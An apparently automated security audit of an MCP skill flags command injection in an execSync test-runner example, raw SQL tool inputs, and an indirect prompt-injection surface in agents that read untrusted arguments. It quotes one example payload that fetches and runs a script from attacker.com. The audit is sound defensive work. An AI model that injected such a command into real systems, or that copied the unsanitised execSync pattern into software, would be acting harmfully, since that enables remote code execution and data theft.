mcp
Fail
Audited by Gen Agent Trust Hub on Feb 16, 2026
Risk Level: HIGHCOMMAND_EXECUTIONREMOTE_CODE_EXECUTION
Full Analysis
- COMMAND_EXECUTION (HIGH): In the
runTestsimplementation within the 'Practical Examples' section, user input (pattern) is directly interpolated into a shell command:execSync(`npm test -- ${pattern}`). This is a classic command injection vulnerability. An attacker could provide a malicious pattern string (e.g.,; curl http://attacker.com/malicious.sh | bash) to execute arbitrary system commands. - REMOTE_CODE_EXECUTION (HIGH): The skill demonstrates tools with highly sensitive capabilities, such as a database query tool that accepts raw SQL strings (
query: { type: "string" }). This pattern creates a significant risk of SQL injection or data exfiltration if the agent processes untrusted external content. - INDIRECT_PROMPT_INJECTION (HIGH): The skill defines a vulnerability surface for indirect prompt injection.
- Ingestion point:
request.params.arguments(inSKILL.md). - Boundary markers: None identified; input is passed directly to functions.
- Capability inventory: Uses
child_process.execSyncfor shell execution and suggests raw SQL execution (inSKILL.md). - Sanitization: None; the examples use raw string interpolation without escaping or validation.
Recommendations
- AI detected serious security threats
- Contains 1 malicious URL(s) - DO NOT USE
Audit Metadata